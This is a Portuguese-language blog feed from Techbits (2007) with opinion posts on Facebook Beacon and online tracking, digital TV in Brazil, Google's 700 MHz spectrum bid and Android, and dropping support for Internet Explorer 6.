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					<description><![CDATA[<p>Um dos assuntos que me chamou a atenção nos últimos dias é uma funcionalidade adicionada ao Facebook chamada Beacon, um mês atrás. O Beacon é uma ferramenta de recomendação que analisa os hábitos de navegação dos usuários do Facebook em alguns sites e informa sua rede de amigos sobre suas ações. Mais ou menos um [&#8230;]</p>
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										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/facebook.png" alt="Facebook " />Um dos assuntos que me chamou a atenção nos últimos dias é uma funcionalidade adicionada ao Facebook chamada Beacon, <a href="http://www.facebook.com/press/releases.php?p=9166" title="Beacon no início do mês passado" id="l4n:">um mês atrás</a>. O Beacon é uma ferramenta de recomendação que analisa os hábitos de navegação dos usuários do Facebook em alguns sites e informa sua rede de amigos sobre suas ações. Mais ou menos um BigBrother das suas andanças pela internet. Tudo isso não teria causado polêmica não fosse o fato do Beacon funcionar sem você solicitar e <a href="http://gigaom.com/2007/11/06/facebook-beacon-privacy-issues/" title="sem possibilidade de opt-out fácil" id="f2_t">sem possibilidade de opt-out fácil</a>.</p>
<h3>Demografia</h3>
<p>A ferramenta é excelente para obter dados demográficos que tanto os sites necessitam. Sem eles fica mais complicado vender anúncios, por exemplo. Blogs e sites em geral podem se beneficiar das informações obtidas. Aqui no Brasil o <a href="http://tecnocracia.com.br/arquivos/1-ano-de-tecnocracia-conhecendo-melhor-o-meu-leitor" title="Tecnocracia fez uma pesquisa para obter esses preciosos dados demográficos" id="tnu0">Tecnocracia fez uma pesquisa</a> e o <a href="http://meiobit.com/concorra_um_ipod_nano" title="Meio Bit faz uma promoção" id="uuxo">Meio Bit faz uma promoção</a> para obter esses preciosos dados demográficos. Até onde sei outros blogs planejam ações semelhantes. O que o Facebook está fazendo é um facilitador para obter essas informações, um CRM dos hábitos de navegação.</p>
<p>A questão em jogo é como o Facebook está tratando essa vigilância. <a href="http://www.nytimes.com/2007/11/30/technology/30face.html?em&amp;ex=1196917200&amp;en=6250ca45dfd7451c&amp;ei=5087%0A" title="Foi quase que uma imposição e os usuários se revoltaram" id="x4xx">Foi quase que uma imposição e os usuários se revoltaram</a>. Por causa disso o Beacon <a href="http://bits.blogs.nytimes.com/2007/11/29/the-evolution-of-facebooks-beacon/?ex=1212037200&amp;en=782ed49c0b909f84&amp;ei=5087&amp;WT.mc_id=TE-D-I-NYT-MOD-MOD-M005-ROS-1107-PH&amp;WT.mc_ev=click&amp;mkt=TE-D-I-NYT-MOD-MOD-M005-ROS-1107-PH" title="estava mutação diariamente" id="ayd1">estava mutação diariamente</a> para tentar se adequar à demanda dos facebookers. Mas, toda essa vigilância sobre o que fazemos não lembra alguém não? Vou dar uma dica, começa com <a href="http://google.com" title="Goo" id="yewz">Goo</a>  e termina com <a href="http://google.com" title="gle" id="f.6e">gle</a>.</p>
<h3>Google</h3>
<p>Sim, o Google há tempos é o <a href="https://techbits.com.br/2007/orkut-o-maior-crm-do-brasil/" title="maior CRM do mundo" id="emd2">maior CRM do mundo</a>. Aqui no Techbits já até havia questionado se a gigante de Montain View não seria um <a href="https://techbits.com.br/2007/google-e-um-spyware/" title="spyware disfarçado de mecanismo de busca/ publicidade" id="dq4o">spyware disfarçado de mecanismo de busca/ publicidade</a>. Por que será que o Google oferece o Analytics de graça? Para nós é ótimo saber as estatísticas de visitação de nossos blogs. Para eles é excelente saber os hábitos de navegação de todo mundo e um pouquinho mais. Melhoram sua ferramenta de anúncios possibilitando melhor retorno do investimento.</p>
<p>O Facebook não está fazendo nada que a Google já não faz ao armazenar nossos hábitos. O grande problema é que está compartilhando com outros usuários essas informações. Esse é o X da questão. Nós não ligamos que alguém nos vigie, desde que não conte pra ninguém o que fazemos. E se você quer se livrar de qualquer mecanismo de vigilância, <a href="http://www.mvps.org/winhelp2002/hosts.htm" title="aprenda o poder do arquivo Host" id="g8ew">aprenda o poder do arquivo Host</a>. É usado para evitar spywares e bloquear anúncios, mas pode ser adaptado para torná-lo invisível da maioria das formas de tracking da web.</p>
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		<title>TV digital e a distribuição de conteúdo</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 04 Dec 2007 08:19:41 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[abundância]]></category>
		<category><![CDATA[conteúdo]]></category>
		<category><![CDATA[distribuição]]></category>
		<category><![CDATA[escassez]]></category>
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					<description><![CDATA[<p>Demorei um pouco para escrever este texto, o timing ideal teria sido dois dias atrás, na estréia da TV digital no Brasil. O vídeo de lançamento foi bastante interessante, com um mashup de cenas memoráveis da época analógica. Concordo que a evolução que o novo serviço traz é comparável à transição do preto e branco [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/tvdigital.jpg" alt="TV digital " />Demorei um pouco para escrever este texto, o timing ideal teria sido dois dias atrás, na estréia da TV digital no Brasil. O vídeo de lançamento foi bastante interessante, <a href="http://youtube.com/watch?v=rz2dOzrOLYc" title="com um mashup de cenas memoráveis da época analógica" id="p9ms">com um mashup de cenas memoráveis da época analógica</a>. Concordo que a evolução que o novo serviço traz é comparável à transição do preto e branco para a TV em cores.</p>
<p>Fui a uma loja de SP para conferir a tão falada qualidade de imagem digital. O aparelho de TV era um Full HD 1080i, 50 polegadas e o programa, uma novela da Globo. Enquanto a qualidade da imagem é impressionante, não podemos falar o mesmo do programa que estava passando&#8230;</p>
<p>O grande problema da TV digital é o mesmo da TV analógica e aparentemente continuará assim por muito tempo e se chama <a href="https://techbits.com.br/2006/o-lost-e-o-novo-paradigma-da-distribuicao-de-conteudo/" title="distribuição de conteúdo" id="kvdi">distribuição de conteúdo</a>. A mesma restrição de escolha, a mesma restrição de grade de programação, a mesma escassez que essa mídia sempre ofereceu, continua.</p>
<p>O advento da internet nos acostumou mal, consumimos conteúdo quando, onde e o que quisermos. Nós fazemos as escolhas, temos variedade para selecionar aquilo que nos agrada, essas coisas. Na internet temos abundância e os filtros personalizados, bem diferente da escassez encontrada na forma de distribuição da TV digital ou analógica.</p>
<p>A qualidade da imagem é o diferencial, <a href="http://www.solonbro.com/2007/10/04/proposta/" title="como diria o Solon" id="wmel">como diria o Solon</a>. Mas em termos práticos é só isso que está mudando. O que importa, ou seja, a possibilidade de escolha que a internet nos ensinou, continua restrita à grade imposta pela emissora de TV. Já havia dito isso antes, mas minha TV digital é a internet. <a href="https://techbits.com.br/2007/tv-digital-vou-de-youtube/" title="Prefiro mil vezes a variedade e liberdade de escolha de um YouTube" id="ad2d">Prefiro mil vezes a variedade e liberdade de escolha de um YouTube</a>.</p>
<p><small>(*) imagem deste post, <a href="http://flickr.com/photos/75724192@N00/64138013/">via Flickr</a></small></p>
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		<title>O interesse da Google nos 700 Mhz</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Sat, 01 Dec 2007 05:40:18 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[700 mhz]]></category>
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		<category><![CDATA[sistema operacional. mobilidade]]></category>
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					<description><![CDATA[<p>Ontem a Google anunciou oficialmente a intenção de dar um lance no leilão da faixa de 700 Mhz &#8211; liberado pela antiga TV analógica &#8211; para prover acesso móvel à interweb lá nos EUA. Daí vem a pergunta que não quer calar: por que diabos a Google, gigante de buscas e publicidade on-line, teria esse [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/google-phone-os.jpg" alt="700 Mhz " title="700 Mhz " /><a href="http://arstechnica.com/news.ars/post/20071130-really-truly-official-google-to-bid-on-700mhz-spectrum.html">Ontem a Google anunciou oficialmente a intenção de dar um lance no leilão da faixa de 700 Mhz</a> &#8211; liberado pela antiga TV analógica &#8211; para prover acesso móvel à interweb lá nos EUA. Daí vem a pergunta que não quer calar: por que diabos a Google, gigante de buscas e publicidade on-line, teria esse interesse diferente do seu negócio principal? Seria algo pra dominar o mundo ou outra coisa?</p >
<p>As razões podem ser variadas, mas o <a href="http://www.google.com/intl/en/press/pressrel/fccspectrum_20071130.html">press-release</a> desta oficialização dá umas dicas. O Eric Schmidt, CEO da gigante de Montain View, diz que qualquer que seja o resultado do leilão, os consumidores serão beneficiados por uma rede mais aberta, própria para tráfego de dados dos widgets e mashups que caracterizam a web como plataforma.</p >
<p>Relacionando o assunto com a controvérsia da <a href="http://en.wikipedia.org/wiki/Network_neutrality">Net Neutrality</a>, as coisas começam a fazer mais sentido. Talvez a Google queira evitar para o mercado de internet móvel uma nova discussão de neutralidade da rede que ameaçou tomar conta da internets e que culminou com a declaração humorística do senador americano Ted Stevens, de que a <a href="https://techbits.com.br/2006/a-internet-e-uma-serie-de-tubos/">internets é uma série de tubos</a>. A mobilidade não quer ficar refém dos tubos.</p >
<p>E realmente para nós consumidores, toda aquela ladainha de arrepiar os cabelos dos executivos das bells americanas, da Google exigir do FCC que a faixa dos 700	Mhz siga alguns princípios de acesso aberto, traz benefícios. A oferta mínima de US$ 4,6 bi, se atingida por qualquer um (leia-se Google ou concorrentes) garante uma rede móvel aberta. Se ninguém atingir esse valor &#8211; o que duvido muito &#8211; vai haver um segundo leilão no qual os princípios não são garantidos.</p >
<p>E aí entra a questão do Android OS e do Open Handset Alliance, como isso se encaixa? Fácil! <a href="https://techbits.com.br/2007/a-estrategia-movel-da-google/">O Android OS será um sistema operacional para suportar os widgets</a> tanto da Google quanto aqueles feito pela comunidade de desenvolvedores que já se formou (aprenda com isso, Apple!). Provavemente a maioria desses pequenos softwares se comunicarão com a nuvem da internet, seja para obter dados de outros serviços, seja para trocar informações com o resto do mundo.</p >
<p>Esse é o pulo do gato. Uma rede 700 Mhz o mais aberta possível para tráfego de dados, junto com um sistema operacional baseado em widgets sedentos por comunicar-se com a nuvem. Tenho muitas razões pra acreditar que tudo isso mudará a forma como interagimos com nossos gadgets, internet e pessoas.</p >
<p>O post <a rel="nofollow" href="https://techbits.com.br/2007/o-interesse-da-google-nos-700-mhz/">O interesse da Google nos 700 Mhz</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>Vamos matar o IE6?</title>
		<link>https://techbits.com.br/2007/vamos-matar-o-ie6/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 29 Nov 2007 19:26:06 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[desenvolvimento]]></category>
		<category><![CDATA[ie6]]></category>
		<category><![CDATA[ie7]]></category>
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					<description><![CDATA[<p>Um texto do Techbits do começo deste ano atraiu a fúria de um leitor que chegou no site via pesquisa Google. O post fala sobre os problemas de segurança do Internet Explorer &#8211; 284 dias inseguro durante o ano de 2006 &#8211; e recomenda o uso de outros navegadores como o Firefox. Nenhuma novidade, apenas [&#8230;]</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2007/vamos-matar-o-ie6/">Vamos matar o IE6?</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/ie.jpg" alt="IE6 " />Um texto do Techbits do começo deste ano atraiu a fúria de um leitor que chegou no site via pesquisa Google. O post fala sobre os problemas de segurança do Internet Explorer &#8211; <a href="https://techbits.com.br/2007/ie-inseguro-por-284-dias-em-2006/" title="284 dias inseguro durante o ano de 2006" id="v7nm">284 dias inseguro durante o ano de 2006</a> &#8211; e recomenda o uso de outros navegadores como o Firefox. Nenhuma novidade, apenas uma constatação.</p>
<p>Semanas atrás estava desenvolvendo o novo layout do Techbits. Tudo funcionava bem em navegadores modernos como o Firefox, o IE7, o Opera, o Safari, etc&#8230; Mas teimava em quebrar quando abria o site no IE6 e versões anteriores. Penei, gastei um bom tempo de desenvolvimento &#8211; juro, no mínimo duplicou esse tempo &#8211; tentando acertar os problemas, e quase escrevi este texto que você lê agora. Mas segurei, achei que o calor do momento &#8211; sim, apedrejei o IE diversas vezes &#8211; poderia atrapalhar minha argumentação.</p>
<p>Claro, concordo que cerca de 80% dos usuários ainda usem o IE como forma básica de acesso à web, poucos deles estão no IE7, que é a versão mais bem feita do navegador, mas fala sério, não pretendo mais desenvolver para o layout ficar certo do IE6 para baixo. O único jeito de acabar com esse bug da web é parar de desenvolver para ele.</p>
<p><a href="http://www.meiobit.com/internet/piratas_safados_em_geral_bem_vindos_ao_internet_explorer_7" title="A Microsoft liberou tempos atrás o Internet Explorer 7 para todo mundo" id="cm-n">A Microsoft liberou tempos atrás o Internet Explorer 7 para todo mundo</a>, ou seja, para quem tem cópia pirata do Windows. Claro, usuário é preguiçoso, não vai atualizar. Não vou ficar aqui falando maravilhas do Firefox, para não dizerem que sou favorável a ele (e sou mesmo). Cada um decide o que é melhor como janela para a web. Torço apenas que todo mundo atualize pelo menos para o IE7, por uma web melhor, com menos bugs e tempo de desenvolvimento reduzido.</p>
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